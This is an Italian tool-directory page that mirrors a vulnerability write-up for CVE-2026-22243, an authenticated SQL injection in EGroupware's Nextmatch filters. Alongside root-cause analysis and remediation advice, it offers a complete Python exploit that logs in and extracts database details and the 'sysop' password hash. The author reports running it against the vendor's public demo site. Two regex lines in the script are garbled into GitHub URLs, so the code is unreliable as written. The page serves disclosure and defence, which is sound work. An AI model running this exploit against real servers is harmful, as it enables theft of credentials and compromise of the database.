Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware presenta una vulnerabilità di SQL Injection nell'elaborazione del filtro Nextmatch | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-22243
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware presenta una vulnerabilità di SQL Injection nell'elaborazione del filtro Nextmatch

Vedi Repository
45 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22243: EGroupware presenta SQL Injection nell'elaborazione dei filtri Nextmatch

Panoramica

CampoDettagli
CVE IDCVE-2026-22243
GravitàALTA
AvvisoVisualizza avviso
Scoperto daLukasz Rybak

Prodotti interessati

  • egroupware/egroupware (versioni: < 23.1.20260113)
  • egroupware/egroupware (versioni: >= 26.0.20251208, < 26.0.20260113)

Classificazione CWE

  • CWE-89: Neutralizzazione impropria di elementi speciali usati in un comando SQL ('SQL Injection')

Dettagli

Riepilogo

Critica SQL Injection autenticata nell'elaborazione dei filtri del widget Nextmatch

Una vulnerabilità critica di SQL Injection esiste nei componenti principali di EGroupware, specificamente nell'elaborazione dei filtri Nextmatch. Il difetto consente a utenti autenticati di iniettare comandi SQL arbitrari nella clausola WHERE delle query al database. Ciò viene ottenuto sfruttando un problema di type juggling in PHP in cui la decodifica JSON converte stringhe numeriche in interi, bypassando il controllo di sicurezza is_int() utilizzato dall'applicazione.

Dettagli

Analisi della causa principale La vulnerabilità risiede nel modo in cui il livello di astrazione del database (Api\Db) e le classi di storage di alto livello (Api\Storage\Base, infolog_so) elaborano l'array col_filter utilizzato nei widget "Nextmatch".

L'applicazione tenta di convalidare l'input utilizzando is_int($key) per determinare se una chiave di array rappresenta un frammento SQL grezzo che dovrebbe essere considerato attendibile. Tuttavia, quando elabora richieste POST basate su JSON, json_decode di PHP converte automaticamente le chiavi stringa numeriche (ad es., "0") in interi nativi.

Di conseguenza, un attaccante può inviare un payload JSON con un array associativo contenente chiavi numeriche. L'applicazione interpreta queste chiavi come interi (is_int restituisce true) e aggiunge ciecamente i valori associati - contenenti SQL malevolo - direttamente alla query.

Posizioni del codice vulnerabile

  1. File: sources/egroupware/api/src/Db.php (Circa linea 1776) Metodo: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. File: sources/egroupware/api/src/Storage/Base.php (Circa linea 1134) Metodo: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

Ho verificato questa vulnerabilità su un'istanza Docker locale e l'ho confermata (sola lettura) sulla vostra istanza demo pubblica (demo.egroupware.net).

Script di exploit automatizzato: Il seguente script automatizza il login, l'estrazione di exec_id e l'esfiltrazione dei dati tramite SQL Injection basata su errore.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Prova di verifica su demo.egroupware.net:

Ho eseguito lo script contro la vostra demo pubblica per confermare l'exploitabilità in un ambiente simile alla produzione (sola lettura). immagine

Impatto: Gli attaccanti con accesso a bassi privilegi possono compromettere completamente il database. Ciò consente:

  • Perdita di riservatezza: Lettura di dati sensibili (ad es., hash delle password, token di sessione, dettagli di contatto personali, segreti di configurazione).
  • Perdita di integrità: Modifica o eliminazione di dati arbitrari all'interno dell'applicazione.
  • Perdita di disponibilità: Possibilità di eliminare tabelle o danneggiare i dati.

Rimedio

1. Convalida dell'input (whitelisting) Non affidarsi esclusivamente a is_int() per decisioni di sicurezza quando si gestiscono input esterni, specialmente dati JSON dove le chiavi possono essere stringhe numeriche. Implementare una rigorosa whitelist (lista consentita) di nomi di colonna consentiti per il filtraggio nei widget Nextmatch. Se la chiave/colonna non è nella whitelist, rifiutare la richiesta.

2. Binding dei parametri Assicurarsi che tutti i valori dei filtri siano associati come parametri (prepared statement) piuttosto che concatenati direttamente nella stringa SQL.

3. Controllo rigoroso dei tipi Quando si elabora input JSON, assicurarsi che le chiavi siano controllate rigorosamente rispetto ai tipi attesi (ad es., usando === per un confronto stretto o filter_var) prima di essere utilizzate nella logica di generazione SQL.

Crediti

Segnalato da Łukasz Rybak

Riferimenti

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

Dichiarazione di non responsabilità

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui sono solo a scopo educativo e difensivo.

Scarica lo strumento